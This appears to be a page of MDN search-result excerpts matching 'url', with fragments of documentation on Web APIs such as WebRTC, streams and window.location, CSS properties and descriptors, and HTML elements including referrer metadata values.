url from the list of available stun or turn servers provided when creating the rtcpeerconnection. these errors occur only when the connection's ice gathering state is gathering. example the following example establishes a handler for icecandidateerrors that occur on the rtcpeerconnection pc. this handler looks specifically for 701 errors that indicate that candidates couldn't reach the stun or turn...
... servers provided when creating the rtcpeerconnection. these errors occur only when the connection's ice gathering state is gathering. example the following example establishes a handler for icecandidateerrors that occur on the rtcpeerconnection pc. this handler looks specifically for 701 errors that indicate that candidates couldn't reach the stun or turn server. ...
...erconnection pc. this handler looks specifically for 701 errors that indicate that candidates couldn't reach the stun or turn server. when this happens, the server
url and the error message are passed to a function called reportconnectfail() to log or output the connection failure. pc.addeventlistener("icecandidateerror", (event) => { if (event.errorcode === 701) { reportconnectfail(event.
url, event.errortext); } }); note that if multiple stun and/or turn servers are provided when creating the connection, this error may happen more than once, if more than one of those servers fails. each provided server is tried until a connection is established. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition...
RTCPeerConnection.setConfiguration() - Web APIs
tart. you cannot change the identity information for a connection once it's already been set. syntax rtcpeerconnection.setconfiguration(configuration); parameters configuration an rtcconfiguration object which provides the options to be set. the changes are not additive; instead, the new values completely replace the existing ones. exceptions invalidaccesserror one or more of the
urls specified in configuration.iceservers is a turn server, but complete login information is not provided (that is, either the rtciceserver.username or rtciceserver.credentials is missing). this prevents successful login to the server. invalidmodificationerror the configuration includes changed identity information, but the connection already has identity information specified. this happens if co...
...uccessful login to the server. invalidmodificationerror the configuration includes changed identity information, but the connection already has identity information specified. this happens if configuration.peeridentity or configuration.certificates is set and their values differ from the current configuration. invalidstateerror the rtcpeerconnection is closed. ...
...from the current configuration. invalidstateerror the rtcpeerconnection is closed. syntaxerror one or more of the
urls provided in the configuration.iceservers list is invalid. example in this example, it has already been determined that ice restart is needed, and that negotiation needs to be done using a different ice server. ...
ReadableStream.cancel() - Web APIs
sed to fetch the whatwg html spec chunk by chunk; each chunk is searched for the string "service workers". when the search terms is found, cancel() is used to cancel the stream — the job is finished so it is no longer needed. ...
...arched for the string "service workers". when the search terms is found, cancel() is used to cancel the stream — the job is finished so it is no longer needed. ...
...rs". when the search terms is found, cancel() is used to cancel the stream — the job is finished so it is no longer needed. ...
ReadableStreamDefaultReader.read() - Web APIs
sult += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } example 2 - handling text line by line this example shows how you might fetch a text file and handle it as a stream of text lines. it deals with stream chunks not ending on line boundaries and converting from uint8array to strings. ...
...ad().then(processtext); }); } example 2 - handling text line by line this example shows how you might fetch a text file and handle it as a stream of text lines. it deals with stream chunks not ending on line boundaries and converting from uint8array to strings. ...
... living standard initial definition. ...
StorageEvent - Web APIs
the key attribute is null when the change is caused by the storage clear() method. read only. newvalue domstring the new value of the key. the newvalue is null when the change has been invoked by storage clear() method or the key has been remo...
...l when the change has been invoked by storage clear() method or the key has been removed from the storage. read only. oldvalue domstring the original value of the key. the oldvalue is null when the key has been newly added and therefore doesn't have any previous value. read only. storagearea storage represents the storage object that was affected. read only.
url usvstring the
url of the document whose key changed. read only. methods initstorageevent() initializes the event in a manner analogous to the similarly-named initevent() method in the dom events interfaces. syntax storageevent.initstorageevent(type[, canbubble[, cancelable[, key[, oldvalue[, newvalue[,
url[, storagearea]]]]]]]) parameters typearg the name of the event. c...
...l[, storagearea]]]]]]]) parameters typearg the name of the event. canbubble optional a boolean indicating whether the event bubbles up through the dom or not. cancelable optional a boolean indicating whether the event is cancelable. key optional the key whose value is changing as a result of this event. oldvalue optional the key's old value. newvalue optional the key's new value.
url optional the
url of the document initiating the change. storagearea optional the storage object representing the storage area on which this event occurred. specifications specification statuc comment html living standardthe definition of 'the storageevent interface' in that specification. living standard ...
Taking still photos with WebRTC - Web APIs
clearing the photo box clearing the photo box involves creating an image, then converting it into a format usable by the <img> element that displays the most recently captured frame. that code looks like this: function clearphoto() { var context = canvas.getcontext('2d'); context.fillstyle = "#aaa"; context.fillrect(0, 0, canvas.width, canvas.height); var data = canvas.todata
url('image/png'); photo.setattribute('src', data); } we start by getting a reference to the hidden <canvas> element that we use for offscreen rendering. next we set the fillstyle to #aaa (a fairly light grey), and fill the entire canvas with that color by calling fillrect(). last in this function, we convert the canvas into a png image and call photo.setattribute() to make our captured still...
...whose job it is to capture the currently displayed video frame, convert it into a png file, and display it in the captured frame box. the code looks like this: function takepicture() { var context = canvas.getcontext('2d'); if (width && height) { canvas.width = width; canvas.height = height; context.drawimage(video, 0, 0, width, height); var data = canvas.todata
url('image/png'); photo.setattribute('src', data); } else { clearphoto(); } } as is the case any time we need to work with the contents of a canvas, we start by getting the 2d drawing context for the hidden canvas. then, if the width and height are both non-zero (meaning that there's at least potentially valid image data), we set the width and height of the canvas to match tha...
...ontext, filling the entire canvas with the frame image. note: this takes advantage of the fact that the htmlvideoelement interface looks like an htmlimageelement to any api that accepts an htmlimageelement as a parameter, with the video's current frame presented as the image's contents. once the canvas contains the captured image, we convert it to png format by calling htmlcanvaselement.todata
url() on it; finally, we call photo.setattribute() to make our captured still box display the image. if there isn't a valid image available (that is, the width and height are both 0), we clear the contents of the captured frame box by calling clearphoto(). fun with filters since we're capturing images from the user's webcam by grabbing frames from a <video> element, we can very easily apply filter...
window.location - Web APIs
p://www.example.com' is a synonym of location.href = 'http://www.example.com'. see location for all available properties. syntax var oldlocation = location; location = newlocation; examples basic example alert(location); // alerts "/docs/web/api/window/location" example #1: navigate to a new page whenever a new value is assigned to the location object, a document will be loaded using the
url as if location.assign() had been called with the modified
url. note that security settings, like cors, may prevent this to effectively happen. location.assign("http://www.mozilla.org"); // or location = "http://www.mozilla.org"; example #2: force reloading the current page from the server location.reload(true); example #3 consider the following example, which will reload the page by using t...
... the current page from the server location.reload(true); example #3 consider the following example, which will reload the page by using the replace() method to insert the value of location.pathname into the hash: function reloadpagewithhash() { var initialpage = location.pathname; location.replace('http://example.com/#' + initialpage); } example #4: display the properties of the current
url in an alert dialog: function showloc() { var olocation = location, alog = ["property (typeof): value", "location (" + (typeof olocation) + "): " + olocation ]; for (var sprop in olocation){ alog.push(sprop + " (" + (typeof olocation[sprop]) + "): " + (olocation[sprop] || "n/a")); } alert(alog.join("\n")); } // in html: <button onclick="showloc();">show location properties</button> e...
... example #6: using bookmarks without changing the hash property: <!doctype html> <html> <head> <meta charset="utf-8"/> <title>mdn example</title> <script> function shownode (onode) { document.documentelement.scrolltop = onode.offsettop; d...
Window: popstate event - Web APIs
history.forward() in javascript). browsers tend to handle the popstate event differently on page load. chrome (prior to v34) and safari always emit a popstate event on page load, but firefox doesn't. note: when writing functions that process popstate event it is important to take into account that properties like window.location will already reflect the state change (if it affected the current
url), but document might still not. if the goal is to catch the moment when the new document state is already fully in place, a zero-delay settimeout() method call should be used to effectively put its inner callback function that does the processing at the end of the browser event loop: window.onpopstate = () => settimeout(dosomething, 0); when popstate is sent when the transition occurs, either ...
...eset. see the html autocomplete attribute for more about the autocomplete field names and how autocomplete works. if new-entry's document is already fully loaded and ready—that is, its readystate is complete—and the document is not already visible, it's made visible and the pageshow event is fired at the document with the pagetransitionevent's persisted attribute set to true. the document's
url is set to that of new-entry. if the history traversal is being performed with replacement enabled, the entry immediately prior to the destination entry (taking into account the delta parameter on methods such as go()) is removed from the history stack. if the new-entry doesn't have persisted user state and its
url's fragment is non-null, the document is scrolled to that fragment. next, current...
...to be current. if new-entry has serialized state information saved with it, that information is deserialized into history.state; otherwise, state is null. if the value of state changed, the popstate event is sent to the document. any persisted user state is restored, if the browser chooses to do so. if the original and new entry's shared the same document, but had different fragments in their
urls, send the hashchange event to the window. as you can see, the popstate event is nearly the last thing done in the process of navigating pages in this way. examples a page at http://example.com/example.html running the following code will generate logs as indicated: window.addeventlistener('popstate', (event) => { console.log("location: " + document.location + ", state: " + json.stringify(...
Window.sidebar - Web APIs
returns a sidebar object which contains several methods for registering add-ons with the browser. methods the sidebar object returned has the following methods: method description (seamonkey) description (firefox) addpanel(title, content
url, "") adds a sidebar panel. obsolete since firefox 23 (only present in seamonkey). end users can use the "load this bookmark in the sidebar" option instead. also see creating a firefox sidebar. ...
...idebar object returned has the following methods: method description (seamonkey) description (firefox) addpanel(title, content
url, "") adds a sidebar panel. obsolete since firefox 23 (only present in seamonkey). end users can use the "load this bookmark in the sidebar" option instead. also see creating a firefox sidebar. addpersistentpanel(title, content
url, "") adds a sidebar panel, which is able to work in the background. addsearchprovider(description
url) dummy function; does nothing. see autodiscovery of search plugins. addsearchengine(engine
url, icon
url, suggestedtitle, suggestedcategory) obsolete since gecko 44 installs a search engine (sherlock). adding sherlock search engines contains more details. no...
...ng. see autodiscovery of search plugins. addsearchengine(engine
url, icon
url, suggestedtitle, suggestedcategory) obsolete since gecko 44 installs a search engine (sherlock). adding sherlock search engines contains more details. note: this was made obsolete in firefox 44, and has been removed completely in firefox 59. issearchproviderinstalled(description
url) indicates if a specific search provider (opensearch) is installed. specification mozilla-specific. not part of any standard. ...
Window - Web APIs
nnerwidth read only gets the width of the content area of the browser window including, if rendered, the vertical scrollbar. window.issecurecontext read only indicates whether a context is capable of using features that require secure contexts. window.length read only returns the number of frames in the window. see also window.frames. window.location gets/sets the location, or current
url, of the window object. window.locationbar read only returns the locationbar object, whose visibility can be toggled in the window. window.localstorage read only returns a reference to the local storage object used to store data that may only be accessed by the origin that created it. window.menubar read only returns the menubar object, whose visibility can be toggled in the window. wind...
...extmenu called when the right mouse button is pressed globaleventhandlers.onerror called when a resource fails to load or when an error occurs at runtime. see error event. globaleventhandlers.onfocus called after the window receives or regains focus. see focus events. windoweventhandlers.onhashchange an event handler property for hashchange events on the window; called when the part of the
url after the hash mark ("#") changes. globaleventhandlers.oninput called when the value of an <input> element changes globaleventhandlers.onkeydown called when you begin pressing any key. see keydown event. globaleventhandlers.onkeypress called when a key (except shift, fn, and capslock) is in pressed position. see keypress event. globaleventhandlers.onkeyup called when you finish releasing ...
...cted fired when the browser detects that a gamepad has been connected or the first time a button/axis of the gamepad is used. also available via the ongamepadconnected property. gamepaddisconnected fired when the browser detects that a gamepad has been disconnected. also available via the ongamepaddisconnected property history events hashchange fired when the fragment identifier of the
url has changed (the part of the
url beginning with and following the # symbol). also available via the onhashchange property. pagehide sent when the browser hides the current document while in the process of switching to displaying in its place a different document from the session's history. this happens, for example, when the user clicks the back button or when they click the forward button to ...
WindowClient.navigate() - Web APIs
return value a promise that resolves to the existing windowclient. ...
... return value a promise that resolves to the existing windowclient. ...
... return value a promise that resolves to the existing windowclient. ...
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
on a function to be executed when the browser engine determines it is safe to call your code. enqueued microtasks are executed after all pending tasks have completed but before yielding control to the browser's event loop. return value undefined. ...
...uted when the browser engine determines it is safe to call your code. enqueued microtasks are executed after all pending tasks have completed but before yielding control to the browser's event loop. return value undefined. ...
...e. enqueued microtasks are executed after all pending tasks have completed but before yielding control to the browser's event loop. return value undefined. examples self.queuemicrotask(() => { // function contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (
url) { if (this._cache[
url]) { queuemicrotask(() => { this._setdata(this._cache[
url]); this.dispatchevent(new event("load")); }); } else { fetch(
url).then(res => res.arraybuffer()).then(data => { this._cache[
url] = data; this._setdata(data); this.dispatchevent(new event("load")); }); } }; when queuemicrotask() isn't available the code below is basically a monkey-patch for queuemicrotask() for modern engines. it creates a microtask by usi...
XMLHttpRequest.response - Web APIs
, load(), which loads and processes a page from the server. it works by creating an xmlhttprequest object and creating a listener for readystatechange events such that that when readystate changes to done (4), the response is obtained and passed into the callback function provided to load(). the content is handled as raw text data (since nothing here is overriding the default responsetype). ...
...erver. it works by creating an xmlhttprequest object and creating a listener for readystatechange events such that that when readystate changes to done (4), the response is obtained and passed into the callback function provided to load(). the content is handled as raw text data (since nothing here is overriding the default responsetype). ...
...nd passed into the callback function provided to load(). the content is handled as raw text data (since nothing here is overriding the default responsetype). ...
additive-symbols - CSS: Cascading Style Sheets
cify symbols when the value of a counter system descriptor is additive. the additive-symbols descriptor defines additive tuples, each of which is a pair containing a symbol and a non-negative integer weight. the additive system is used to construct sign-value numbering systems such as roman numerals. ...
...0", 2 "\2e\20"; additive-symbols: 3 "0", 2
url(symbol.png); when the system descriptor is cyclic, numeric, alphabetic, symbolic, or fixed, use the symbols descriptor instead of additive-symbols. ...
...color>? ]! ...
prefix - CSS: Cascading Style Sheets
the prefix descriptor of the @counter-style rule specifies content that will be prepended to the marker representation. if not specified, the default value will be "" (an empty string). syntax /* <symbol> values */ prefix: "»"; prefix: "page "; prefix:
url(bullet.png); values <symbol> specifies a <symbol> that is prepended to the marker representation. it may be a <string>, <image>, or <custom-ident>. ...
...efix: "»"; prefix: "page "; prefix:
url(bullet.png); values <symbol> specifies a <symbol> that is prepended to the marker representation. it may be a <string>, <image>, or <custom-ident>. ...
...color>? ]! ...
suffix - CSS: Cascading Style Sheets
the suffix descriptor of the@counter-style rule specifies content that will be appended to the marker representation. syntax /* <symbol> values */ suffix: ""; suffix: ") "; suffix:
url(bullet.png); values <symbol> specifies a <symbol> that is appended to the marker representation. it may be a <string>, <image>, or <custom-ident>. formal definition related at-rule@counter-styleinitial value". ...
...; suffix: ") "; suffix:
url(bullet.png); values <symbol> specifies a <symbol> that is appended to the marker representation. it may be a <string>, <image>, or <custom-ident>. formal definition related at-rule@counter-styleinitial value". ...
...color>? ]! ...
symbols - CSS: Cascading Style Sheets
e of the following data types: <string> <image> (note: this value is "at risk" and may be removed from the specification. it is not yet implemented.) <custom-ident> description a symbol can be a string, image, or identifier. it is used within the @counter-style at-rule. symbols: a b c d e; symbols: "\24b6" "\24b7" "\24b8" d e; symbols: "0" "1" "2" "4" "5" "6" "7" "8" "9"; symbols:
url('first.svg')
url('second.svg')
url('third.svg'); symbols: indic-numbers; the symbols descriptor must be specified when the value of the system descriptor is cyclic, numeric, alphabetic, symbolic, or fixed. when the additive system is used, use the additive-symbols descriptor instead to specify the symbols. formal definition related at-rule@counter-styleinitial valuen/acomputed valueas specifi...
...r must be specified when the value of the system descriptor is cyclic, numeric, alphabetic, symbolic, or fixed. when the additive system is used, use the additive-symbols descriptor instead to specify the symbols. ...
...color>? ]! ...
Attribute selectors - CSS: Cascading Style Sheets
ared case-insensitively (for characters within the ascii range). [attr operator value s] adding an s (or s) before the closing bracket causes the value to be compared case-sensitively (for characters within the ascii range). ...
...s (or s) before the closing bracket causes the value to be compared case-sensitively (for characters within the ascii range). ...
...e). ...
Shorthand properties - CSS: Cascading Style Sheets
, and the different margins around a box can be defined using the margin shorthand. tricky edge cases even if they are very convenient to use, there are a few edge cases to keep in mind when using them: a value which is not specified is set to its initial value. that sounds anecdotal, but it really means that it overrides previously set values. therefore: background-color: red; background:
url(images/bg.gif) no-repeat left top; will not set the color of the background to red but to background-color's default, transparent, as the second rule has precedence. only the individual properties values can inherit. as missing values are replaced by their initial value, it is impossible to allow inheritance of individual properties by omitting them. the keyword inherit can be applied to a pro...
...t corner the 4-value syntax: border-radius: 1em 2em 3em 4em — the four values represent the top left, top right, bottom right and bottom left corners respectively, always in that order, that is clock-wise starting at the top left. background properties a background with the following properties ... ...
...om right and bottom left corners respectively, always in that order, that is clock-wise starting at the top left. background properties a background with the following properties ... background-color: #000; background-image:
url(images/bg.gif); background-repeat: no-repeat; background-position: left top; ... can be shortened to just one declaration: background: #000
url(images/bg.gif) no-repeat left top; (the shorthand form is actually the equivalent of the longhand properties above plus background-attachment: scroll and, in css3, some additional properties.) see background for more detailed information, including css3 properties. font properties the following declarations ... font-style: italic; font-weight: bold; font-size: .8em; line-height: 1.2; font-fa...
animation - CSS: Cascading Style Sheets
div class="animation a3"></div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27px; height: 27px; background-size: 16px; background-position: center; background-repeat: no-repeat; border-radius: 3px; cursor: pointer; } button.play { background-image:
url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c...
...l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause { background-image:
url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c...
...%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#pause'); } button.restart { background-image:
url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c...
attr() - CSS: Cascading Style Sheets
ntal, and support for the type-or-unit parameter is sparse. the attr() css function is used to retrieve the value of an attribute of the selected element and use it in the stylesheet. it can also be used on pseudo-elements, in which case the value of the attribute on the pseudo-element's originating element is returned. /* simple usage */ attr(data-count); attr(title); /* with type */ attr(src
url); attr(data-count number); attr(data-width px); /* with fallback */ attr(data-count number, 0); attr(src
url, ""); attr(data-width px, inherit); attr(data-something, "default"); syntax values attribute-name is the name of an attribute on the html element referenced in the css. <type-or-unit> is a keyword representing either the type of the attribute's value, or its unit, as in html so...
...ed as a css <string>. it is not reparsed, and in particular the characters are used as-is instead of css escapes being turned into different characters. an empty string. color <color> the attribute value is parsed as a hash (3- or 6-value hash) or a keyword. it must be a valid css <string> value. leading and trailing spaces are stripped. currentcolor
url <
url> the attribute value is parsed as a string that is used inside a css
url() function. relative
url are resolved relatively to the original document, not relatively to the style sheet. leading and trailing spaces are stripped. the
url about:invalid that points to a non-existent document with a generic error condition. integer <integer> the attribut...
...ipped. 0%, or, if 0% is not a valid value for the property, the property's minimum value. <fallback> the value to be used if the associated attribute is missing or contains an invalid value. if not set, css will use the default value defined for each <type-or-unit>. ...
background-attachment - CSS: Cascading Style Sheets
tion typediscrete formal syntax <attachment>#where <attachment> = scroll | fixed | local examples simple example html <p> there were doors all round the hall, but they were all locked; and when alice had been all the way down one side and up the other, trying every door, she walked sadly down the middle, wondering how she was ever to get out again. </p> css p { background-image:
url("https://mdn.mozillademos.org/files/12057/starsolid.gif"); background-attachment: fixed; } result multiple background images this property supports multiple background images. you can specify a different <attachment> for each background, separated by commas. each image is matched with the corresponding attachment type, from first specified to last. html <p> there were doors all round ...
... hall; but, alas! either the locks were too large, or the key was too small, but at any rate it would not open any of them. ...
...oo small, but at any rate it would not open any of them. however, on the second time round, she came upon a low curtain she had not noticed before, and behind it was a little door about fifteen inches high: she tried the little golden key in the lock, and to her great delight it fitted! </p> css p { background-image:
url("https://mdn.mozillademos.org/files/12057/starsolid.gif"),
url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-attachment' in that specification. candidate recommendation the shorthand property has b...
background-repeat - CSS: Cascading Style Sheets
s="three"></div> </li> <li>repeat-y <div class="four"></div> </li> <li>space <div class="five"></div> </li> <li>round <div class="six"></div> </li> <li>repeat-x, repeat-y (multiple images) <div class="seven"></div> </li> </ol> css /* shared for all divs in example */ ol, li { margin: 0; padding: 0; } li { margin-bottom: 12px; } div { background-image:
url(https://mdn.mozillademos.org/files/12005/starsolid.gif); width: 160px; height: 70px; } /* background repeats */ .one { background-repeat: no-repeat; } .two { background-repeat: repeat; } .three { background-repeat: repeat-x; } .four { background-repeat: repeat-y; } .five { background-repeat: space; } .six { background-repeat: round; } /* multiple images */ .seven { backgro...
... specifications specification status comment ...
... specifications specification status comment css backgrounds and borders module level 3the definition of 'background-repe...
border-image-source - CSS: Cascading Style Sheets
itory. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the border-image-slice property is used to divide the source image into regions, which are then dynamically applied to the final border image. syntax /* keyword value */ border-image-source: none; /* <image> values */ border-image-source:
url(image.jpg); border-image-source: linear-gradient(to top, red, yellow); /* global values */ border-image-source: inherit; border-image-source: initial; border-image-source: unset; values none no border image is used. the appearance defined by border-style is displayed instead. <image> image reference to use for the border. formal definition initial valuenoneapplies toall elements, exce...
...ance defined by border-style is displayed instead. <image> image reference to use for the border. formal definition initial valuenoneapplies toall elements, except internal table elements when border-collapse is collapse. ...
...color>? ]! ...
mask-repeat - CSS: Cascading Style Sheets
fs element and all graphics elementsinheritednocomputed valueconsists of two keywords, one per dimensionanimation typediscrete formal syntax <repeat-style>#where <repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2} examples setting repeat for a single mask css #masked { width: 250px; height: 250px; background: blue linear-gradient(red, blue); mask-image:
url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: repeat; /* can be changed in the live sample */ margin-bottom: 10px; } html content <div id="masked"> </div> <select id="repetition"> <option value="repeat-x">repeat-x</option> <option value="repeat-y">repeat-y</option> <option value="repeat" selected>repeat</option> <option value="space">space</option> <option val...
... specifications specification status comment css masking module level 1the definition of 'mask-repeat' in that specification. candidate recommendation initial definition ...
... specifications specification status comment css masking module level 1the definition of 'mask-repeat' in that specification. candidate recommendation initial definition ...
Challenge solutions - Developer guides
se are not the only possible solutions. the sections below correspond to the titles of the tutorial sections. why use css colors challenge without looking up a reference, find five more color names that work in your stylesheet. solution css supports common color names like orange, yellow, blue, green, or black. it also supports some more exotic color names like chartreuse, fuschia, or b
urlywood. see css color value for a complete list as well as other ways of specifying colors. how css works dom inspector challenge in domi, click on a strong node. use domi's right-hand pane to find out where the node's color is set to red, and where its appearance is made bolder than normal text. solution in the menu above the right-hand pane, choose css rules. you see two items listed, o...
... #f00; /* red */ background-color: #ddf; /* pale blue */ font: 200% serif; } .carrot { color: #fa0; /* orange */ } .spinach { color: #080; /* dark green */ } p { color: #00f; /* blue */ } content add an image challenge add a one rule to your stylesheet so that it displays the image at the start of each line. solution add this rule to your stylesheet: p:before{ content:
url("yellow-pin.png"); } lists lower roman numerals challenge add a rule to your stylesheet, to number the oceans using roman numerals from i to v. solution define a rule for list items to use the lower-roman list style: li { list-style: lower-roman; } capital letters challenge change your stylesheet to identify the headings with capital letters in parentheses. solution add ...
...ble tbody td { border:1px solid #7a7; } media separate print style file challenge move the print-specific style rules to a separate css file and import them into your style4.css stylesheet. solution cut and paste the lines between /* print only */ and /* end print only */ into a file named style4_print.css. in style4.css, add the following line at the beginning of the file: @import
url("style4_print.css") print; heading hover color challenge make the headings turn blue when the mouse pointer is over them. solution the following rule achieves the desired result: h1:hover { color: blue; } javascript move box to the right challenge change the script so that the square jumps to the right by 20 em when its color changes, and jumps back afterwards. solution ...
Parsing and serializing XML - Developer guides
this article, we'll look at the objects provided by the web platform to make the common tasks of serializing and parsing xml easy. xmlserializer serializes dom trees, converting them into strings containing xml. domparser constructs a dom tree by parsing a string containing xml, returning a xmldocument or document as appropriate based on the input data. xmlhttprequest loads content from a
url; xml content is returned as an xml document object with a dom tree built from the xml itself. xpath a technology for creating strings that contain addresses for specific portions of an xml document, and locating xml nodes based on those addresses. creating an xml document using one of the following approaches to create an xml document (which is an instance of document. parsing strings into ...
...ts an xml fragment in a string into a dom tree using a domparser: var smystring = '<a id="a"><b id="b">hey!</b></a>'; var oparser = new domparser(); var odom = oparser.parsefromstring(smystring, "application/xml"); // print the name of the root element or error message console.log(odom.documentelement.nodename == "parsererror" ? ...
... if t...
<area> - HTML: Hypertext Markup Language
poly or polygon: the value is a set of x,y pairs for each point in the polygon: x1,y1,x2,y2,x3,y3, and so on. the values are numbers of css pixels. download this attribute, if present, indicates that the author intends the hyperlink to be used for downloading a resource. see <a> for a full description of the download attribute. href the hyperlink target for the area. its value is a valid
url. ...
...typically used for tracking. ...
... a user agent’s default behavior, if no policy is otherwise specified. "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port. "origin-when-cross-origin" meaning that navigations to other origins will be limited to the scheme, the host and the port, while navigations on the same origin will include the referrer's path. "unsafe-
url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username). this case is unsafe because it can leak origins and paths from tls-protected resources to insecure origins. rel for anchors containing the href attribute, this attribute specifies the relationship of the target object to the link object. the value is a space-separated list of link ...
<button>: The Button element - HTML: Hypertext Markup Language
the button with (its form owner). the value of this attribute must be the id of a <form> in the same document. (if this attribute is not set, the <button> is associated with its ancestor <form> element, if any.) this attribute lets you associate <button> elements to <form>s anywhere in the document, not just inside a <form>. it can also override an ancestor <form> element. ...
... multipart/form-data: use to submit <input> elements with their type attributes set to file. text/plain: specified as a debugging aid; shouldn’t be used for real form submission. if this attribute is specified, it overrides the enctype attribute of the button's form owner. ...
...'s inside/associated with a <form> and doesn't have type="button"), this attribute specifies the http method used to submit the form. possible values: post: the data from the form are included in the body of the http request when sent to the server. use when the form contains information that shouldn’t be public, like login credentials. get: the form data are appended to the form's action
url, with a ? as a separator, and the resulting
url is sent to the server. use this method when the form has no side effects, like search forms. if specified, this attribute overrides the method attribute of the button's form owner. formnovalidate html5 if the button is a submit button, this boolean attribute specifies that the form is not to be validated when it is submitted. if this attribu...
<input type="file"> - HTML: Hypertext Markup Language
age types specified in the accept attribute). if it is, we: print out its name and file size into a list item inside the previous <div> (obtained from file.name and file.size). the custom returnfilesize() function returns a nicely-formatted version of the size in bytes/kb/mb (by default the browser reports the size in absolute bytes). generate a thumbnail preview of the image by calling
url.createobject
url(curfiles[i]). then, insert the image into the list item too by creating a new <img> and setting its src to the thumbnail. if the file type is invalid, we display a message inside a list item telling the user that they need to select a different file type. function updateimagedisplay() { while(preview.firstchild) { preview.removechild(preview.firstchild); } const...
...update your selection.`; listitem.appendchild(para); } list.appendchild(listitem); } } } the custom validfiletype() function takes a file object as a parameter, then uses array.prototy...
...update your selection.`; listitem.appendchild(para); } list.appendchild(listitem); } } } the custom validfiletype() function takes a file object as a parameter, then uses array.prototype.includes() to...
Standard metadata names - HTML: Hypertext Markup Language
ords: words relevant to the page's content separated by commas. referrer: controls the http referer header for to requests sent from the document: values for the content attribute of <meta name="referrer"> no-referrer do not send a http referer header. origin send the origin of the document. ...
...rer do not send a http referer header. origin send the origin of the document. no-referrer-when-downgrade send the full
url when the destination is at least as secure as the current page (http(s)→https), but send no referrer when it's less secure (https→http). this is the default behaviour. origin-when-cross-origin send the full
url (stripped of parameters) for same-origin requests, but only send the origin for other cases. same-origin send the full
url (stripped of parameters) for same-origin requests. cross-origin requests will contain no referrer header. strict-origin send the origin when the destination is at least as secure as the current page (http(s)→https), but send no referr...
... same-origin send the full
url (stripped of parameters) for same-origin requests. cross-origin requests will contain no referrer header. strict-origin send the origin when the destination is at least as secure as the current page (http(s)→https), but send no referrer when it's less secure (https→http). strict-origin-when-cross-origin send the full
url (stripped of parameters) for same-origin requests. send the origin when the destination is at least as secure as the current page (http(s)→https). otherwise, send no referrer. unsafe-
url send the full
url (stripped of parameters) for same-origin or cross-origin requests. notes: dynamically inserting <meta name="referrer"> (with document.write() or appen...
HTML elements reference - HTML: Hypertext Markup Language
metadata metadata contains information about the page. this includes information about styles, scripts and data to help software (search engines, browsers, etc.) use and render the page. metadata for styles and scripts may be defined in the page or link to another file that has the information. element description <base> the html <base> element specifies the base
url to use for all relative
urls in a document. <head> the html <head> element contains machine-readable information (metadata) about the document, like its title, scripts, and style sheets. <link> the html external resource link element (<link>) specifies relationships between the current document and an external resource. this element is most commonly used to link to sty...
...ing </body> tags. important for accessibility and seo, these elements identify the purpose or structure of that content. element description <blockquote> the html <blockquote> element (or html block quotation element) indicates that the enclosed text is an extended quotation. usually, this is rendered visually by indentation (see notes for how to change it). a
